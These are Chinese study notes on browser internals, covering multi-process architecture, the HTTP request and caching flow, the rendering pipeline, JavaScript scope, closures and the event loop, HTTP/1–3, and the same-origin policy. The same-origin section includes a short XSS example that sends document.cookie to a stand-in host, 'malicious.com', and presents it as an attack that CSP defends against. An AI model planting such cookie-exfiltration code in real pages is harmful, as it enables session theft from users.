浏览器工作原理与实践
认识浏览器,并把网络、页面渲染、JavaScript、浏览器安全等知识
浏览器的进化史
进程和线程
一个进程就是一个程序的运行实例。详细解释就是,启动一个程序的时候,操作系统会为该程序创建一块内存,用来存放代码、运行中的数据和一个执行任务的主线程,我们把这样的一个运行环境叫进程。
线程是依附于进程的,而进程中使用多线程并行处理能提升运算效率。
线程之间的关系有以下 4 个特点:
进程中的任意一线程执行出错,都会导致整个进程的崩溃。
线程之间共享进程中的数据。
当一个进程关闭之后,操作系统会回收进程所占用的内存。
进程之间的内容相互隔离。
单进程浏览器时代
单进程浏览器是指浏览器的所有功能模块都是运行在同一个进程里,这些模块包含了网络、插件、JavaScript 运行环境、渲染引擎和页面等。
功能模块运行在一个进程里,是导致单进程浏览器不稳定、不流畅和不安全的一个主要因素。
多进程浏览器时代
浏览器进程。主要负责界面显示、用户交互、子进程管理,同时提供存储等功能。
渲染进程。核心任务是将 HTML、CSS 和 JavaScript 转换为用户可以与之交互的网页,排版引擎 Blink 和 JavaScript 引擎 V8 都是运行在该进程中,默认情况下,Chrome 会为每个 Tab 标签创建一个渲染进程。出于安全考虑,渲染进程都是运行在沙箱模式下。
GPU 进程。其实,Chrome 刚开始发布的时候是没有 GPU 进程的。而 GPU 的使用初衷是为了实现 3D CSS 的效果,只是随后网页、Chrome 的 UI 界面都选择采用 GPU 来绘制,这使得 GPU 成为浏览器普遍的需求。最后,Chrome 在其多进程架构上也引入了 GPU 进程。
网络进程。主要负责页面的网络资源加载,之前是作为一个模块运行在浏览器进程里面的,直至最近才独立出来,成为一个单独的进程。
插件进程。主要是负责插件的运行,因插件易崩溃,所以需要通过插件进程来隔离,以保证插件进程崩溃不会对浏览器和页面造成影响。
HTTP请求流程
1.构建请求
首先,浏览器构建请求行信息,构建好后,浏览器准备发起网络请求。
GET /index.html HTTP1.12. 查找缓存
在真正发起网络请求之前,浏览器会先在浏览器缓存中查询是否有要请求的文件。当浏览器发现请求的资源已经在浏览器缓存中存有副本,它会拦截请求,返回该资源的副本,并直接结束请求,而不会再去源服务器重新下载。
如果缓存查找失败,就会进入网络请求过程了。
3. 准备 IP 地址和端口
HTTP 的内容是通过 TCP 的传输数据阶段来实现。
第一步浏览器会请求 DNS 返回域名对应的 IP。当然浏览器还提供了DNS 数据缓存服务,如果某个域名已经解析过了,那么浏览器会缓存解析的结果,以供下次查询时直接使用,这样也会减少一次网络请求。
如果 URL 没有特别指明端口号,那么 HTTP 协议默认是 80 端口。
4. 等待 TCP 队列
Chrome 有个机制,同一个域名同时最多只能建立 6 个 TCP 连接,如果在同一个域名下同时有 10 个请求发生,那么其中 4 个请求会进入排队等待状态,直至进行中的请求完成。
如果当前请求数量少于 6,会直接进入下一步,建立 TCP 连接。
5.建立 TCP 连接
通过“三次握手”来建立客户端和服务器之间的连接。
6.发送 HTTP 请求
首先浏览器会向服务器发送请求行,它包括了请求方法、请求 URI(Uniform Resource Identifier)和 HTTP 版本协议。
服务器端处理 HTTP 请求流程
1. 返回请求
一旦服务器处理结束,便可以返回数据给浏览器了。
首先服务器会返回响应行,包括协议版本和状态码。
发送完响应头后,服务器就可以继续发送响应体的数据,通常,响应体就包含了 HTML 的实际内容。
2. 断开连接
通常情况下,一旦服务器向客户端返回了请求数据,它就要关闭 TCP 连接。不过如果浏览器或者服务器在其头信息中加入了:Connection:Keep-Alive。那么 TCP 连接在发送后将仍然保持打开状态,这样浏览器就可以继续通过同一个 TCP 连接发送请求。保持 TCP 连接可以省去下次请求时需要建立连接的时间,提升资源加载速度。
3. 重定向
响应行返回的状态码是 301,状态 301 就是告诉浏览器,我需要重定向到另外一个网址,而需要重定向的网址正是包含在响应头的 Location 字段中,接下来,浏览器获取 Location 字段中的地址,并使用该地址重新导航,这就是一个完整重定向的执行流程。
缓存
DNS 缓存
主要就是在浏览器本地把对应的 IP 和域名关联起来。
浏览器资源缓存
浏览器是通过响应头中的 Cache-Control 字段来设置是否缓存该资源。通常,我们还需要为这个资源设置一个缓存过期时长,而这个时长是通过 Cache-Control 中的 Max-age 参数来设置的,设置的缓存过期时间是 2000 秒。
Cache-Control:Max-age=2000这也就意味着,在该缓存资源还未过期的情况下, 如果再次请求该资源,会直接返回缓存中的资源给浏览器。
但如果缓存过期了,浏览器则会继续发起网络请求,并且在HTTP 请求头中带上:If-None-Match:"4f80f-13c-3a1xb12a"。服务器收到请求头后,会根据 If-None-Match 的值来判断请求的资源是否有更新。
如果没有更新,就返回 304 状态码,相当于服务器告诉浏览器:“这个缓存可以继续使用,这次就不重复发送数据给你了。”
如果资源有更新,服务器就直接返回最新资源给浏览器。
从输入URL到页面展示,这中间发生了什么?
核心过程:
首先,用户从浏览器进程里输入请求信息;
然后,网络进程发起 URL 请求;
服务器响应 URL 请求之后,浏览器进程就又要开始准备渲染进程了;
渲染进程准备好之后,需要先向渲染进程提交页面数据,我们称之为提交文档阶段;
渲染进程接收完文档信息之后,便开始解析页面和加载子资源,完成页面的渲染。
从输入 URL 到页面展示
1. 用户输入
当用户在地址栏中输入一个查询关键字时,地址栏会判断输入的关键字是搜索内容,还是请求的 URL。
2. URL 请求过程
浏览器进程会通过进程间通信(IPC)把 URL 请求发送至网络进程,网络进程接收到 URL 请求后,会在这里发起真正的 URL 请求流程。
网络进程会查找本地缓存是否缓存了该资源。如果有缓存资源,那么直接返回资源给浏览器进程;如果在缓存中没有查找到资源,那么直接进入网络请求流程。这请求前的第一步是要进行 DNS 解析,以获取请求域名的服务器 IP 地址。如果请求协议是 HTTPS,那么还需要建立 TLS 连接。
建立 TCP 连接。连接建立之后,浏览器端会构建请求行、请求头等信息,然后向服务器发送构建的请求信息。
服务器接收到请求信息后,会根据请求信息生成响应数据,并发给网络进程。等网络进程接收了响应行和响应头之后,就开始解析响应头的内容了。
如果服务器响应行的状态码包含了 301、302 一类的跳转信息,浏览器会跳转到新的地址继续导航;如果响应行是 200,那么表示浏览器可以继续处理该请求。
不同 Content-Type 的后续处理流程也不同。如果 Content-Type 字段的值被浏览器判断为下载类型,那么该请求会被提交给浏览器的下载管理器,同时该 URL 请求的导航流程就此结束。但如果是HTML,那么浏览器则会继续进行导航流程。由于 Chrome 的页面渲染是运行在渲染进程中的,所以接下来就需要准备渲染进程了。
3.准备渲染进程
默认情况下,Chrome 会为每个页面分配一个渲染进程,也就是说,每打开一个新页面就会配套创建一个新的渲染进程。在某些情况下,浏览器会让多个页面直接运行在同一个渲染进程中。
通常情况下,打开新的页面都会使用单独的渲染进程;
如果从 A 页面打开 B 页面,且 A 和 B 都属于同一站点的话,那么 B 页面复用 A 页面的渲染进程;如果是其他情况,浏览器进程则会为 B 创建一个新的渲染进程。
渲染进程准备好之后,还不能立即进入文档解析状态,因为此时的文档数据还在网络进程中,并没有提交给渲染进程,所以下一步就进入了提交文档阶段。
4. 提交文档
这里的“文档”是指 URL 请求的响应体数据。
“提交文档”的消息是由浏览器进程发出的,渲染进程接收到“提交文档”的消息后,会和网络进程建立传输数据的“管道”。
等文档数据传输完成之后,渲染进程会返回“确认提交”的消息给浏览器进程。
浏览器进程在收到“确认提交”的消息后,会更新浏览器界面状态,包括了安全状态、地址栏的 URL、前进后退的历史状态,并更新 Web 页面。
5. 渲染阶段
一旦文档被提交,渲染进程便开始页面解析和子资源加载。
渲染流程
输入的 HTML 经过这些子阶段,最后输出像素。我们把这样的一个处理流程叫做渲染流水线
按照渲染的时间顺序,流水线可分为如下几个子阶段:
1.构建 DOM 树
输入 HTML 内容,经 HTML 解析器解析,输出树状结构的 DOM。
浏览器无法直接理解和使用 HTML,需要将 HTML 转换为浏览器能够理解的结构——DOM 树。DOM 是保存在内存中树状结构,可以通过 JavaScript 来查询或修改其内容。
2.样式计算
样式计算的目的是为了计算出 DOM 节点中每个元素的具体样式,这个阶段大体可分为三步来完成。
把 CSS 转换为浏览器能够理解的结构。
浏览器也是无法直接理解这些纯文本的 CSS 样式,所以当渲染引擎接收到 CSS 文本时,会执行一个转换操作,将 CSS 文本转换为浏览器可以理解的结构——styleSheets。该结构同时具备了查询和修改功能,这会为后面的样式操作提供基础。
转换样式表中的属性值,使其标准化。
CSS 文本中有很多属性值,如 2em、blue、bold,这些类型数值不容易被渲染引擎理解,需要将所有值转换为渲染引擎容易理解的、标准化的计算值,这个过程就是属性值标准化。
计算出 DOM 树中每个节点的具体样式
CSS 继承就是每个 DOM 节点都包含有父节点的样式。样式计算过程中的第二个规则是样式层叠。
3.布局
计算出 DOM 树中可见元素的几何位置,我们把这个计算过程叫做布局。布局阶段需要完成两个任务:
创建布局树
在显示之前,我们还要额外地构建一棵只包含可见元素布局树。遍历 DOM 树中的所有可见节点,并把这些节点加到布局中。
布局计算
4.分层
页面中有很多复杂的效果,如一些复杂的 3D 变换、页面滚动,或者使用 z-indexing 做 z 轴排序等,为了更加方便地实现这些效果,渲染引擎还需要为特定的节点生成专用的图层,并生成一棵对应的图层树(LayerTree)。浏览器的页面实际上被分成了很多图层,这些图层叠加后合成了最终的页面。
通常情况下,并不是布局树的每个节点都包含一个图层,如果一个节点没有对应的层,那么这个节点就从属于父节点的图层。
通常满足下面两点中任意一点的元素就可以被提升为单独的一个图层。
拥有层叠上下文属性的元素会被提升为单独的一层。明确定位属性的元素、定义透明属性的元素、使用 CSS 滤镜的元素等,都拥有层叠上下文属性。
需要剪裁(clip)的地方也会被创建为图层。
5.绘制
渲染引擎实会把一个图层的绘制拆分成很多小的绘制指令,然后再把这些指令按照顺序组成一个待绘制列表。绘制列表中的指令非常简单,就是让其执行一个简单的绘制操作,比如绘制粉色矩形或者黑色的线等。而绘制一个元素通常需要好几条绘制指令,因为每个元素的背景、前景、边框都需要单独的指令去绘制。所以在图层绘制阶段,输出的内容就是这些待绘制列表。
绘制列表只是用来记录绘制顺序和绘制指令的列表,而实际上绘制操作是由渲染引擎中的合成线程来完成的。
当图层的绘制列表准备好之后,主线程会把该绘制列表**提交(commit)**给合成线程。
6.分块
通常一个页面可能很大,但是用户只能看到其中的一部分,我们把用户可以看到的这个部分叫做视口(viewport)。
通过视口,用户只能看到页面的很小一部分,所以在这种情况下,要绘制出所有图层内容的话,就会产生太大的开销,而且也没有必要。
基于这个原因,合成线程会将图层划分为图块(tile),这些图块的大小通常是 256x256 或者 512x512。
合成线程会按照视口附近的图块来优先生成位图,实际生成位图的操作是由栅格化来执行的。
7.光栅化和合成
所谓栅格化,是指将图块转换为位图。
一旦所有图块都被光栅化,合成线程就会生成一个绘制图块的命令——“DrawQuad”,然后将该命令提交给浏览器进程。
浏览器进程里面有一个叫 viz 的组件,用来接收合成线程发过来的 DrawQuad 命令,然后根据 DrawQuad 命令,将其页面内容绘制到内存中,最后再将内存显示在屏幕上。
一个完整的渲染流程大致可总结为如下:
渲染进程将 HTML 内容转换为能够读懂的DOM 树结构。
渲染引擎将 CSS 样式表转化为浏览器可以理解的styleSheets,计算出 DOM 节点的样式。
创建布局树,并计算元素的布局信息。
对布局树进行分层,并生成分层树。
为每个图层生成绘制列表,并将其提交到合成线程。
合成线程将图层分成图块,并在光栅化线程池中将图块转换成位图。
合成线程发送绘制图块命令DrawQuad给浏览器进程。
浏览器进程根据 DrawQuad 消息生成页面,并显示到显示器上。
重排
更新了元素的几何属性(重排)
如果修改元素的几何位置属性,例如改变元素的宽度、高度等,那么浏览器会触发重新布局,解析之后的一系列子阶段,这个过程就叫重排。无疑,重排需要更新完整的渲染流水线,所以开销也是最大的。
重绘
更新元素的绘制属性(重绘)
如果修改了元素的背景颜色,那么布局阶段将不会被执行,因为并没有引起几何位置的变换,所以就直接进入了绘制阶段,然后执行之后的一系列子阶段,这个过程就叫重绘。相较于重排操作,重绘省去了布局和分层阶段,所以执行效率会比重排操作要高一些。
直接合成阶段
那如果你更改一个既不要布局也不要绘制的属性,会发生什么变化呢?渲染引擎将跳过布局和绘制,只执行后续的合成操作,我们把这个过程叫做合成。
使用了 CSS 的 transform 来实现动画效果,这可以避开重排和重绘阶段,直接在非主线程上执行合成动画操作。这样的效率是最高的,因为是在非主线程上合成,并没有占用主线程的资源,另外也避开了布局和绘制两个子阶段,所以相对于重绘和重排,合成能大大提升绘制效率。
JavaScript 代码的执行流程
1. 编译阶段
输入一段代码,经过编译后,会生成两部分内容:执行上下文(Execution context)和可执行代码。
执行上下文是 JavaScript 执行一段代码时的运行环境,比如调用一个函数,就会进入这个函数的执行上下文,确定该函数在执行期间用到的诸如 this、变量、对象以及函数等。
三种执行上下文:
当 JavaScript 执行全局代码的时候,会编译全局代码并创建全局执行上下文,而且在整个页面的生存周期内,全局执行上下文只有一份。
当调用一个函数的时候,函数体内的代码会被编译,并创建函数执行上下文,一般情况下,函数执行结束之后,创建的函数执行上下文会被销毁。
当使用 eval 函数的时候,eval 的代码也会被编译,并创建执行上下文。
执行上下文中存在一个变量环境的对象(Viriable Environment),该对象中保存了变量提升的内容。
2. 执行阶段
JavaScript 引擎开始执行“可执行代码”,按照顺序一行一行地执行。
当执行到 函数时,JavaScript 引擎便开始在变量环境对象中查找该函数,由于变量环境对象中存在该函数的引用,所以 JavaScript 引擎便开始执行该函数,并输出“函数被执行”结果。
Javascript 作用域
作用域(scope)
作用域是指在程序中定义变量的区域,该位置决定了变量的生命周期。通俗地理解,作用域就是变量与函数的可访问范围,即作用域控制着变量和函数的可见性和生命周期。
全局作用域中的对象在代码中的任何地方都能访问,其生命周期伴随着页面的生命周期。
函数作用域就是在函数内部定义的变量或者函数,并且定义的变量或者函数只能在函数内部被访问。函数执行结束之后,函数内部定义的变量会被销毁。
级作用域就是使用一对大括号包裹的一段代码,比如函数、判断语句、循环语句,甚至单独的一个{}都可以被看作是一个块级作用域。
//if 块
if(1){}
//while 块
while(1){}
// 函数块
function foo(){
//for 循环块
for(let i = 0; i<100; i++){}
// 单独一个块
{}ES6 之前是不支持块级作用域的,没有了块级作用域,再把作用域内部的变量统一提升无疑是最快速、最简单的设计,不过这也直接导致了函数中的变量无论是在哪里声明的,在编译阶段都会被提取到执行上下文的变量环境中,所以这些变量在整个函数体内部的任何地方都是能被访问的,这也就是 JavaScript 中的变量提升。
变量提升所带来的问题
量容易在不被察觉的情况下被覆盖掉。
var myname = " Hello " function showName(){ console.log(myname); if(0){ var myname = " World " } console.log(myname); } showName()本应销毁的变量没有被销毁。
function foo(){ for (var i = 0; i < 7; i++) { } console.log(i); } foo()
ES6 是如何解决变量提升带来的缺陷
function varTest() {
var x = 1;
if (true) {
var x = 2; // 同样的变量!
console.log(x); // 2
}
console.log(x); // 2
}从执行上下文的变量环境中可以看出,最终只生成了一个变量 x,函数体内所有对 x 的赋值操作都会直接改变变量环境中的 x 值。
function letTest() {
let x = 1;
if (true) {
let x = 2; // 不同的变量
console.log(x); // 2
}
console.log(x); // 1
}let 关键字是块级作用域的,在编译阶段,引擎并不会把 if 块中通过 let 声明的变量存放到变量环境中,这也就意味着在 if 块通过 let 声明的关键字,并不会提升到全函数可见。在 if 块之内打印出来的值是 2,跳出语块之后,打印出来的值就是 1 了。这种就非常符合我们的编程习惯了:作用块内声明的变量不影响块外面的变量。
JavaScript 是如何支持块级作用域的
JavaScript 引擎是通过变量环境实现函数级作用域的
函数内部通过 var 声明的变量,在编译阶段全都被存放到变量环境里面了。
通过 let 声明的变量,在编译阶段会被存放到**词法环境(Lexical Environment)**中。
在函数的作用域内部,通过 let 声明的变量并没有被存放到词法环境中。
作用域块中通过 let 声明的变量,会被存放在词法环境的一个单独的区域中,这个区域中的变量并不影响作用域块外面的变量。变量是独立的存在的。
其实,在词法环境内部,维护了一个小型栈结构,栈底是函数最外层的变量,进入一个作用域块后,就会把该作用域块内部的变量压到栈顶;当作用域执行完成之后,该作用域的信息就会从栈顶弹出,这就是词法环境的结构。
作用域块中的变量查找值方式是:沿着词法环境的栈顶向下查询,如果在词法环境中的某个块中查找到了,就直接返回给 JavaScript 引擎,如果没有查找到,那么继续在变量环境中查找。
作用域链
其实在每个执行上下文的变量环境中,都包含了一个外部引用,用来指向外部的执行上下文,我们把这个外部引用称为outer。
当一段代码使用了一个变量时,JavaScript 引擎首先会在“当前的执行上下文”中查找该变量,如果在当前的变量环境中没有查找到,那么 JavaScript 引擎会继续在 outer 所指向的执行上下文中查找。我们把这个查找的链条就称为作用域链。
词法作用域
词法作用域就是指作用域是由代码中函数声明的位置来决定的,所以词法作用域是静态的作用域,通过它就能够预测代码在执行过程中如何查找标识符。
词法作用域是代码阶段就决定好的,和函数是怎么调用的没有关系。
闭包
在 JavaScript 中,根据词法作用域的规则,内部函数总是可以访问其外部函数中声明的变量,当通过调用一个外部函数返回一个内部函数后,即使该外部函数已经执行结束了,但是内部函数引用外部函数的变量依然保存在内存中,我们就把这些变量的集合称为闭包。
闭包是怎么回收的
所以在使用闭包的时候,你要尽量注意一个原则:如果该闭包会一直使用,那么它可以作为全局变量而存在;但如果使用频率不高,而且占用内存又比较大的话,那就尽量让它成为一个局部变量。
this 机制
在对象内部的方法中使用对象内部的属性是一个非常普遍的需求。但是 JavaScript 的作用域机制并不支持这一点,基于这个需求,JavaScript 又搞出来另外一套this 机制。
this 是和执行上下文绑定的,也就是说每个执行上下文中都有一个 this。
执行上下文主要分为三种——全局执行上下文、函数执行上下文和 eval 执行上下文。对应的 this 也只有这三种——全局执行上下文中的 this、函数中的 this 和 eval 中的 this。
全局执行上下文中的 this
全局执行上下文中的 this 是指向 window 对象的。这也是 this 和作用域链的唯一交点,作用域链的最底端包含了 window 对象,全局执行上下文中的 this 也是指向 window 对象。
函数执行上下文中的 this
通过函数的 call 方法设置
通过对象调用方法设置。使用对象来调用其内部的一个方法,该方法的 this 是指向对象本身的。在全局环境中调用一个函数,函数内部的 this 指向的是全局变量 window。
通过构造函数中设置
宏任务和微任务
宏任务
中的大部分任务都是在主线程上执行的,这些任务包括了:
渲染事件(如解析 DOM、计算布局、绘制);
用户交互事件(如鼠标点击、滚动页面、放大缩小等);
JavaScript 脚本执行事件;
网络请求完成、文件读写完成事件。
为了协调这些任务有条不紊地在主线程上执行,页面进程引入了消息队列和事件循环机制,渲染进程内部会维护多个消息队列,比如延迟执行队列和普通的消息队列。然后主线程采用一个 for 循环,不断地从这些任务队列中取出任务并执行任务。我们把这些消息队列中的任务称为宏任务。
事件循环机制, WHATWG 规范定义的大致流程:
先从多个消息队列中选出一个最老的任务,这个任务称为 oldestTask;
然后循环系统记录任务开始执行的时间,并把这个 oldestTask 设置为当前正在执行的任务;
当任务执行完成之后,删除当前正在执行的任务,并从对应的消息队列中删除掉这个 oldestTask;
最后统计执行完成的时长等信息。
页面的渲染事件、各种 IO 的完成事件、执行 JavaScript 脚本的事件、用户交互的事件等被添加到消息队列中,而且添加事件是由系统操作的,JavaScript 代码不能准确掌控任务要添加到队列中的位置,控制不了任务在消息队列中的位置,所以很难控制开始执行任务的时间,所以说宏任务的时间粒度比较大,执行的时间间隔是不能精确控制的。
微任务
微任务就是一个需要异步执行的函数,执行时机是在主函数执行结束之后、当前宏任务结束之前。
执行一段脚本的时候,V8 会为其创建一个全局执行上下文,在创建全局执行上下文的同时,V8 引擎也会在内部创建一个微任务队列。这个微任务队列就是用来存放微任务的,因为在当前宏任务执行的过程中,有时候会产生多个微任务,这时候就需要使用这个微任务队列来保存这些微任务了。
在现代浏览器里面,产生微任务有两种方式:
使用 MutationObserver 监控某个 DOM 节点,然后再通过 JavaScript 来修改这个节点,或者为这个节点添加、删除部分子节点,当 DOM 节点发生变化时,就会产生 DOM 变化记录的微任务。
使用 Promise,当调用 Promise.resolve() 或者 Promise.reject() 的时候,也会产生微任务。
在当前宏任务中的 JavaScript 快执行完成时,也就在 JavaScript 引擎准备退出全局执行上下文并清空调用栈的时候,JavaScript 引擎会检查全局执行上下文中的微任务队列,然后按照顺序执行队列中的微任务。
HTTP/1
HTTP/1.0 的方案是通过请求头和响应头来进行协商,在发起请求时候会通过 HTTP 请求头告诉服务器它期待服务器返回什么类型的文件、采取什么形式的压缩、提供什么语言的文件以及文件的具体编码。
HTTP/1.1 的改进:
改进持久连接
HTTP/1.0 每进行一次 HTTP 通信,都需要经历建立 TCP 连接、传输 HTTP 数据和断开 TCP 连接三个阶段。HTTP/1.1 中增加了持久连接的方法,特点是在一个 TCP 连接上可以传输多个 HTTP 请求,只要浏览器或者服务器没有明确断开连接,那么该 TCP 连接会一直保持。
持久连接在 HTTP/1.1 中是默认开启的,可以在 HTTP 请求头中加上
Connection: close关闭。目前浏览器中对于同一个域名,默认允许同时建立 6 个 TCP 持久连接。不成熟的 HTTP 管线化
如果 TCP 通道中的某个请求因为某些原因没有及时返回,那么就会阻塞后面的所有请求,这就是著名的队头阻塞的问题。但是由于各种原因,FireFox、Chrome 最终都放弃了管线化技术。
提供虚拟主机的支持
HTTP/1.1 的请求头中增加了Host 字段,用来表示当前的域名地址,这样服务器就可以根据不同的 Host 值做不同的处理。实现在一台物理主机上绑定多个虚拟主机,每个虚拟主机都有自己的单独的域名。
对动态生成的内容提供了完美支持
HTTP/1.0 时,需要在响应头中设置完整的数据大小,如
Content-Length: 901,这样浏览器就可以根据设置的数据大小来接收数据。不过随着服务器端的技术发展,很多页面的内容都是动态生成的,因此在传输数据之前并不知道最终的数据大小,这就导致了浏览器不知道何时会接收完所有的文件数据。HTTP/1.1 通过引入Chunk transfer 机制来解决这个问题,服务器会将数据分割成若干个任意大小的数据块,每个数据块发送时会附上上个数据块的长度,最后使用一个零长度的块作为发送数据完成的标志。这样就提供了对动态内容的支持。
客户端 Cookie、安全机制。
HTTP/1.1 还引入了客户端 Cookie 机制和安全机制。
HTTP/2
HTTP/1.1 的主要问题
HTTP/1.1对带宽的利用率却并不理想,这也是 HTTP/1.1 的一个核心问题。
带宽是指每秒最大能发送或者接收的字节数。我们把每秒能发送的最大字节数称为上行带宽,每秒能够接收的最大字节数称为下行带宽。
主要是由以下三个原因导致的:
TCP 的慢启动
TCP 连接建立之后,就进入了发送数据状态,刚开始 TCP 协议会采用一个非常慢的速度去发送数据,然后慢慢加快发送数据的速度,直到发送数据的速度达到一个理想状态,我们把这个过程称为慢启动。
慢启动是 TCP 为了减少网络拥塞的一种策略,我们是没有办法改变的。
连接竞争固定的带宽
系统同时建立了多条 TCP 连接,当带宽充足时,每条连接发送或者接收速度会慢慢向上增加;而一旦带宽不足时,这些 TCP 连接又会减慢发送或者接收的速度。
HTTP/1.1 队头阻塞的问题。
在 HTTP/1.1 中使用持久连接时,虽然能公用一个 TCP 管道,但是在一个管道中同一时刻只能处理一个请求,在当前的请求没有结束之前,其他的请求只能处于阻塞状态。这意味着我们不能随意在一个管道中发送请求和接收内容。
HTTP/2 的多路复用
一个域名只使用一个 TCP 长连接和消除队头阻塞问题。
HTTP/2 的思路就是一个域名只使用一个 TCP 长连接来传输数据,这样整个页面资源的下载过程只需要一次慢启动,同时也避免了多个 TCP 连接竞争带宽所带来的问题。
队头阻塞的问题,等待请求完成后才能去请求下一个资源,这种方式无疑是最慢的,所以 HTTP/2 需要实现资源的并行请求,也就是任何时候都可以将请求发送给服务器,而并不需要等待其他请求的完成,然后服务器也可以随时返回处理好的请求资源给浏览器。
多路复用的实现
HTTP/2 添加了一个二进制分帧层。 HTTP/2 的请求和接收过程:
首先,浏览器准备好请求数据,包括了请求行、请求头等信息,如果是 POST 方法,那么还要有请求体。
这些数据经过二进制分帧层处理之后,会被转换为一个个带有请求 ID 编号的帧,通过协议栈将这些帧发送给服务器。
服务器接收到所有帧之后,会将所有相同 ID 的帧合并为一条完整的请求信息。
然后服务器处理该条请求,并将处理的响应行、响应头和响应体分别发送至二进制分帧层。
同样,二进制分帧层会将这些响应数据转换为一个个带有请求 ID 编号的帧,经过协议栈发送给浏览器。
浏览器接收到响应帧之后,会根据 ID 编号将帧的数据提交给对应的请求。
HTTP/2 其他特性
可以设置请求的优先级
服务器推送
头部压缩
HTTP/3
HTTP/2 的不足
TCP 的队头阻塞
在 TCP 传输过程中,由于单个数据包的丢失而造成的阻塞称为 TCP 上的队头阻塞。所以随着丢包率的增加,HTTP/2 的传输效率也会越来越差。
TCP 建立连接的延时
TCP 协议僵化
QUIC 协议
由于 TCP 协议僵化,我们不可能通过修改 TCP 协议自身来解决这些问题,那么解决问题的思路是绕过 TCP 协议,发明一个 TCP 和 UDP 之外的新的传输协议。但是这也面临着和修改 TCP 一样的挑战,因为中间设备的僵化,这些设备只认 TCP 和 UDP,如果采用了新的协议,新协议在这些设备同样不被很好地支持。
HTTP/3 选择了一个折衷的方法——UDP 协议,基于 UDP 实现了类似于 TCP 的多路数据流、传输可靠性等功能,我们把这套功能称为QUIC 协议。
实现了类似 TCP 的流量控制、传输可靠性的功能
集成了 TLS 加密功能。
实现了 HTTP/2 中的多路复用功能。
实现了快速握手功能。
同源策略(Same-origin policy)。
如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源。
浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同的源之间若想要相互访问资源或者操作 DOM,那么会有一套基础的安全策略的制约,我们把这称为同源策略。
主要表现
具体来讲,同源策略主要表现在 DOM、Web 数据和网络这三个层面。
DOM 层面
同源策略限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作。
由于第一个页面和第二个页面是同源关系,所以我们可以在第二个页面中操作第一个页面的 DOM,比如将第一个页面全部隐藏掉,代码如下所示:
{
let pdom = opener.document
pdom.body.style.display = "none"
}数据层面
同源策略限制了不同源的站点读取当前站点的 Cookie、IndexDB、LocalStorage 等数据。由于同源策略,我们依然无法通过第二个页面的 opener 来访问第一个页面中的 Cookie、IndexDB 或者 LocalStorage 等内容。
网络层面
同源策略限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点。
安全和便利性的权衡
1. 页面中可以嵌入第三方资源
将页面的的敏感数据,如 Cookie、IndexDB、LoacalStorage 等数据通过 XSS 的手段发送给服务器。
function onClick(){
let url = `http://malicious.com?cookie = ${document.cookie}`
open(url)
}
onClick()以上就是一个非常典型的 XSS 攻击。为了解决 XSS 攻击,浏览器中引入了内容安全策略,称为 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源,让服务器决定浏览器是否能够执行内联 JavaScript 代码。
2. 跨域资源共享和跨文档消息机制
**域资源共享(CORS)**机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。
在介绍同源策略时,我们说明了如果两个页面不是同源的,则无法相互操纵 DOM。不过在实际应用中,经常需要两个不同源的 DOM 之间进行通信,于是浏览器中又引入了跨文档消息机制,可以通过 window.postMessage 的 JavaScript 接口来和不同源的 DOM 进行通信。